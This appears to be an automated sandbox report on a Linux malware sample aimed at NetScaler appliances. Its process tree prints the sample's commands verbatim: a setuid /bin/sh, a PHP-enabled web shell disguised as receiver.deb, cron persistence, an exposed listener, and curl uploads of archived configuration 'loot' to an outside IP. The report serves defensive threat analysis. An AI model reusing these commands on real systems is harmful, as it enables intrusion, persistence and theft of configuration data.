Analysis

  • max time kernel
    21s
  • max time network
    130s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03/10/2026, 16:50

General

  • Target
    b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
  • Size 25KB
  • Sample261003-vcmcvaec83
  • SHA256 b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

    Execute scripts via Unix Shell.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
    /tmp/b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
    1⤵
    • Writes file to tmp directory
    PID:1478
    • /bin/mkdir
      mkdir -p /nsconfig/.slap /var/netscaler/logon/LogonPoint/custom
      2⤵
        PID:1479
      • /bin/cat
        cat
        2⤵
          PID:1481
        • /bin/cat
          cat
          2⤵
            PID:1482
          • /bin/mkdir
            mkdir -p /var/tmp/.ux
            2⤵
              PID:1483
            • /bin/cat
              cat
              2⤵
                PID:1485
              • /bin/cat
                cat
                2⤵
                  PID:1487
                • /bin/cat
                  cat
                  2⤵
                    PID:1489
                  • /bin/chmod
                    chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl
                    2⤵
                      PID:1491
                    • /bin/cat
                      cat
                      2⤵
                        PID:1492
                      • /bin/chmod
                        chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver
                        2⤵
                          PID:1493
                        • /bin/cp
                          cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver
                          2⤵
                            PID:1494
                          • /bin/cp
                            cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb
                            2⤵
                            • Reads runtime system information
                            PID:1495
                          • /bin/cp
                            cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.slap.receiver
                            2⤵
                              PID:1496
                            • /bin/cp
                              cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.ctxs.receiver
                              2⤵
                                PID:1497
                              • /bin/cp
                                cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/receiver.deb
                                2⤵
                                  PID:1498
                                • /bin/chmod
                                  chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb
                                  2⤵
                                    PID:1499
                                  • /bin/chmod
                                    chmod 6555 /bin/sh
                                    2⤵
                                      PID:1500
                                    • /bin/chmod
                                      chmod 700 /nsconfig/.slap/boot.sh
                                      2⤵
                                        PID:1502
                                      • /usr/bin/perl
                                        perl -ni -e "print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver}" /etc/httpd.conf
                                        2⤵
                                          PID:1503
                                        • /bin/grep
                                          grep -q "Alias /logon/LogonPoint/custom/receiver.v2.min.css" /etc/httpd.conf
                                          2⤵
                                            PID:1504
                                          • /bin/cp
                                            cp /etc/httpd.conf /etc/httpd.conf.slap.bak
                                            2⤵
                                              PID:1505
                                            • /bin/cat
                                              cat
                                              2⤵
                                                PID:1506
                                              • /usr/bin/perl
                                                perl -pi -e "s/php_flag engine off/php_flag engine on/" /etc/httpd.conf
                                                2⤵
                                                  PID:1507
                                                • /bin/grep
                                                  grep -q "AddType application/x-httpd-php .deb" /etc/httpd.conf
                                                  2⤵
                                                    PID:1509
                                                  • /bin/httpd
                                                    /bin/httpd -t -f /etc/httpd.conf
                                                    2⤵
                                                      PID:1510
                                                    • /bin/grep
                                                      grep -q "[.]slap/agent.pl"
                                                      2⤵
                                                        PID:1512
                                                      • /bin/ps
                                                        ps -axww
                                                        2⤵
                                                        • Reads CPU attributes
                                                        • Reads runtime system information
                                                        PID:1511
                                                      • /bin/grep
                                                        grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler
                                                        2⤵
                                                          PID:1517
                                                        • /bin/grep
                                                          grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler
                                                          2⤵
                                                            PID:1518
                                                          • /usr/bin/setsid
                                                            /usr/bin/setsid /bin/perl /nsconfig/.slap/agent.pl
                                                            2⤵
                                                              PID:1516
                                                            • /bin/perl
                                                              /bin/perl /nsconfig/.slap/agent.pl
                                                              2⤵
                                                                PID:1516
                                                              • /usr/bin/crontab
                                                                crontab -l
                                                                2⤵
                                                                  PID:1519
                                                                • /bin/grep
                                                                  grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron
                                                                  2⤵
                                                                    PID:1520
                                                                  • /bin/grep
                                                                    grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron
                                                                    2⤵
                                                                      PID:1521
                                                                    • /usr/bin/crontab
                                                                      crontab /tmp/.slap.cron
                                                                      2⤵
                                                                      • Creates/modifies Cron job
                                                                      PID:1522
                                                                    • /usr/bin/pkill
                                                                      pkill -f /var/tmp/.ux/slapshot.py
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:1524
                                                                    • /usr/bin/pkill
                                                                      pkill -f /var/tmp/.ux/whipd.py
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      • System Network Configuration Discovery
                                                                      PID:1525
                                                                    • /bin/date
                                                                      date -u
                                                                      2⤵
                                                                        PID:1528
                                                                      • /usr/bin/nohup
                                                                        nohup /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
                                                                        2⤵
                                                                          PID:1527
                                                                        • /usr/bin/nohup
                                                                          nohup /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
                                                                          2⤵
                                                                            PID:1526
                                                                          • /usr/bin/id
                                                                            id
                                                                            2⤵
                                                                            • Reads runtime system information
                                                                            PID:1529
                                                                          • /usr/bin/python3
                                                                            /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
                                                                            2⤵
                                                                              PID:1527
                                                                            • /usr/bin/python3
                                                                              /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
                                                                              2⤵
                                                                                PID:1526
                                                                              • /bin/uname
                                                                                uname -a
                                                                                2⤵
                                                                                  PID:1530
                                                                                • /bin/ls
                                                                                  ls -l /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /etc/httpd.conf
                                                                                  2⤵
                                                                                    PID:1531
                                                                                  • /bin/httpd
                                                                                    /bin/httpd -t -f /etc/httpd.conf
                                                                                    2⤵
                                                                                      PID:1532
                                                                                    • /usr/bin/tail
                                                                                      tail -n 80
                                                                                      2⤵
                                                                                        PID:1534
                                                                                      • /bin/grep
                                                                                        grep -in php /etc/httpd.conf
                                                                                        2⤵
                                                                                          PID:1533
                                                                                        • /bin/sed
                                                                                          sed -n "1395,1425p" /etc/httpd.conf
                                                                                          2⤵
                                                                                            PID:1535
                                                                                          • /usr/bin/tail
                                                                                            tail -n 80 /var/log/httpd/error_log
                                                                                            2⤵
                                                                                              PID:1536
                                                                                            • /usr/bin/tail
                                                                                              tail -n 80 /var/log/httpd/error.log
                                                                                              2⤵
                                                                                                PID:1537
                                                                                              • /usr/bin/tail
                                                                                                tail -n 40 /var/log/ns.log
                                                                                                2⤵
                                                                                                  PID:1538
                                                                                                • /bin/mkdir
                                                                                                  mkdir -p /var/tmp/.s2loot
                                                                                                  2⤵
                                                                                                    PID:1539
                                                                                                  • /bin/tar
                                                                                                    tar czf /var/tmp/.s2loot/nsconfig.tgz .
                                                                                                    2⤵
                                                                                                      PID:1540
                                                                                                      • /bin/sh
                                                                                                        /bin/sh -c gzip
                                                                                                        3⤵
                                                                                                        • Command and Scripting Interpreter: Unix Shell
                                                                                                        • System Network Configuration Discovery
                                                                                                        PID:1541
                                                                                                        • /bin/gzip
                                                                                                          gzip
                                                                                                          4⤵
                                                                                                          • System Network Configuration Discovery
                                                                                                          PID:1542
                                                                                                    • /usr/bin/curl
                                                                                                      curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/274124/loot_nsconfig.tgz
                                                                                                      2⤵
                                                                                                        PID:1543
                                                                                                      • /bin/tar
                                                                                                        tar czf /var/tmp/.s2loot/hist.tgz /nsconfig/ns.conf.0 /nsconfig/ns.conf.1 /nsconfig/ns.conf.2 /nsconfig/ns.conf.3 /nsconfig/ns.conf.4 /nsconfig/ns.conf.bak
                                                                                                        2⤵
                                                                                                          PID:1544
                                                                                                          • /bin/sh
                                                                                                            /bin/sh -c gzip
                                                                                                            3⤵
                                                                                                            • Command and Scripting Interpreter: Unix Shell
                                                                                                            • System Network Configuration Discovery
                                                                                                            PID:1545
                                                                                                            • /bin/gzip
                                                                                                              gzip
                                                                                                              4⤵
                                                                                                              • System Network Configuration Discovery
                                                                                                              PID:1546
                                                                                                        • /usr/bin/curl
                                                                                                          curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/274124/loot_nshist.tgz
                                                                                                          2⤵
                                                                                                            PID:1547
                                                                                                          • /bin/rm
                                                                                                            rm -rf /var/tmp/.s2loot
                                                                                                            2⤵
                                                                                                              PID:1548
                                                                                                            • /usr/bin/curl
                                                                                                              curl -sk -H Expect: -m 60 -T /etc/httpd.conf http://213.209.159.55:443/t/274124/loot_httpd.conf
                                                                                                              2⤵
                                                                                                                PID:1549
                                                                                                              • /usr/bin/curl
                                                                                                                curl -sk -H Expect: -m 60 -T /var/tmp/.slap-diag.txt http://213.209.159.55:443/t/274124/loot_diag.txt
                                                                                                                2⤵
                                                                                                                  PID:1550

                                                                                                              Network

                                                                                                                    MITRE ATT&CK Enterprise v16

                                                                                                                    Replay Monitor

                                                                                                                    Loading Replay Monitor...

                                                                                                                    Downloads

                                                                                                                    agent.pl

                                                                                                                    • Path /nsconfig/.slap/agent.pl
                                                                                                                    • Size 4KB
                                                                                                                    • SHA256 94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761
                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                    boot.sh

                                                                                                                    • Path /nsconfig/.slap/boot.sh
                                                                                                                    • Size 3KB
                                                                                                                    • SHA256 af7a3af465c95e997e1476b0c2db852b26169d4a5647a445ff46a54a86a75cf8
                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                    bridge.pl

                                                                                                                    • Path /nsconfig/.slap/bridge.pl
                                                                                                                    • Size 697B
                                                                                                                    • SHA256 f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad
                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                    rc.netscaler

                                                                                                                    • Path /nsconfig/rc.netscaler
                                                                                                                    • Size 37B
                                                                                                                    • SHA256 370368e6491d9344962b6a58a771fb24e500f84e9d99379f61969e3068ed5b4b
                                                                                                                    • MD5 SHA1 SHA512

                                                                                                                    rc.netscaler

                                                                                                                    • Path /nsconfig/rc.netscaler
                                                                                                                    • Size 71B
                                                                                                                    • SHA256 4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2
                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                    .slap.cron

                                                                                                                    • Path /tmp/.slap.cron
                                                                                                                    • Size 45B
                                                                                                                    • SHA256 0759755783a468f3bc18dcbfde22fdb21bb754aee300137f26ee1aa1893dd3cd
                                                                                                                    • MD5 SHA1 SHA512

                                                                                                                    .slap.cron

                                                                                                                    • Path /tmp/.slap.cron
                                                                                                                    • Size 89B
                                                                                                                    • SHA256 1a7762fb2dc20ab46e650818ba79e47c9758b02f2b0fcb12a7ed15cebc7e392f
                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                    .slap.receiver

                                                                                                                    • Path /var/netscaler/logon/LogonPoint/custom/.slap.receiver
                                                                                                                    • Size 493B
                                                                                                                    • SHA256 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7
                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                    tmp.nOSYkl

                                                                                                                    • Path /var/spool/cron/crontabs/tmp.nOSYkl
                                                                                                                    • Size 278B
                                                                                                                    • SHA256 1bdde65976f3e21957535cf1ed7f63b5ee14a036b972e540d3dfbe1bfe62515a
                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                    hist.tgz

                                                                                                                    • Path /var/tmp/.s2loot/hist.tgz
                                                                                                                    • Size 45B
                                                                                                                    • SHA256 c8a977bb34f2acf4e83338b21c1a059de12f187189c9ed151b2ef085c30e406b
                                                                                                                    • MD5 SHA1 SHA512

                                                                                                                    nsconfig.tgz

                                                                                                                    • Path /var/tmp/.s2loot/nsconfig.tgz
                                                                                                                    • Size 3KB
                                                                                                                    • SHA256 28eeab2e579537be2eee5dce3cb6bc49ce9f125997025e0cb132c80add2fb6e9
                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                    .slap-agent.log

                                                                                                                    • Path /var/tmp/.slap-agent.log
                                                                                                                    • Size 63B
                                                                                                                    • SHA256 6686e0f601f892bb8f8e47727170eb99045f66623834e5be2cb1984dfe7a88e1
                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                    .slap-diag.txt

                                                                                                                    • Path /var/tmp/.slap-diag.txt
                                                                                                                    • Size 54B
                                                                                                                    • SHA256 806ae327f9f3b6da67570bb9fd2b695655bf8a45301c01dee23042b5fa438f72
                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                    .slap-diag.txt

                                                                                                                    • Path /var/tmp/.slap-diag.txt
                                                                                                                    • Size 93B
                                                                                                                    • SHA256 386e26643bcbe5e4faf0e45f90edce26e21f25877af3da4b7e0ecd14ad6df5bd
                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                    .slap-diag.txt

                                                                                                                    • Path /var/tmp/.slap-diag.txt
                                                                                                                    • Size 225B
                                                                                                                    • SHA256 c40d0e15efa911e2cf2c55ef60f372c215a4eceecd45de548701a6b90370f1b9
                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                    .slap-diag.txt

                                                                                                                    • Path /var/tmp/.slap-diag.txt
                                                                                                                    • Size 249B
                                                                                                                    • SHA256 2f9bea67a857df28dd56082c630c0e3976e63c6cc3c44b89b1f53b145565e786
                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                    .slap-diag.txt

                                                                                                                    • Path /var/tmp/.slap-diag.txt
                                                                                                                    • Size 860B
                                                                                                                    • SHA256 b2992f0141237b9dbde87711a86e49dbee0b8865f54e377ed06c37a78cb26bc1
                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                    .slap-httpd-test.log

                                                                                                                    • Path /var/tmp/.slap-httpd-test.log
                                                                                                                    • Size 169B
                                                                                                                    • SHA256 772d9d599c3f42597bdb3c058b63e92b460b003d45a88b7abcf594757b10e411
                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                    agent.log

                                                                                                                    • Path /var/tmp/.ux/agent.log
                                                                                                                    • Size 56B
                                                                                                                    • SHA256 98a322667eff3ff7a545278044d43c635e0bda3eb6942c394a0926206d809ae5
                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                    slapshot.py

                                                                                                                    • Path /var/tmp/.ux/slapshot.py
                                                                                                                    • Size 7KB
                                                                                                                    • SHA256 be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447
                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                    whipd.py

                                                                                                                    • Path /var/tmp/.ux/whipd.py
                                                                                                                    • Size 4KB
                                                                                                                    • SHA256 dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e
                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH